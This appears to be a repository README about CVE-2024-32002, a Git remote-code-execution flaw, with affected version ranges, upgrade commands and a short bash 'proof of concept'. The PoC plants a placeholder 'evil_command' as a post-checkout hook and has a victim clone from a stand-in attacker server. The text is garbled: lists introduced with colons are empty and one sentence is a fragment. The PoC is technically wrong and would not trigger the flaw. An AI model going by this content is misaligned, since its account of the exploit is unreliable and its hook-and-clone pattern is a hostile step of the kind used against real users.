basyacatx/cve-2024-32002-poc_chinesenone
CVE-2024-32002 is a critical security vulnerability discovered in Git software. This vulnerability allows remote attackers to execute arbitrary code on affected systems through specially crafted Git repositories. The vulnerability exists in Git's handling of certain repository operations, and due to insufficient validation of input data, it poses a risk of remote code execution (RCE).
Successful exploitation of this vulnerability may lead to:
The following versions of Git software are affected by CVE-2024-32002:
Versions
Default Status: unknown
affected at = 2.45.0
affected at = 2.44.0
affected at >= 2.43.0, < 2.43.4
affected at >= 2.42.0, < 2.42.2
affected at = 2.41.0
affected at >= 2.40.0, < 2.40.2
affected at < 2.39.4
CVE-2024-32002 Details The vulnerability exists in Git's handling of certain repository operations. When a user clones or interacts with a malicious Git repository, attackers can inject malicious code through specially crafted repositories or commit history. Due to insufficient input validation, this malicious code can bypass security checks during repository operations, leading to arbitrary code execution.
git clone, git pull), the malicious code is triggered and executed.It is strongly recommended that users upgrade to the latest version of Git software that includes a patch for this vulnerability. The fixed versions are as follows:
Upgrade commands are as follows:
# For macOS
brew upgrade git
# For Ubuntu/Debian
sudo apt-get update
sudo apt-get install git
# For CentOS/RHEL
sudo yum update git
## Exploitation Methods
A proof of concept (PoC) for CVE-2024-32002 has been publicly released. The following is a simplified PoC example:
```bash
# Attacker creates malicious repository
git init malicious-repo
cd malicious-repo
echo 'malicious content' > payload.txt
git add payload.txt
git commit -m "Add malicious payload"
# Trigger vulnerability by injecting malicious code into commit history
git config --local core.hooksPath .githooks
echo 'evil_command' > .githooks/post-checkout
git add .githooks
git commit -m "Add post-checkout hook"
# Exploited when victim clones malicious repository
git clone attacker_server/malicious-repo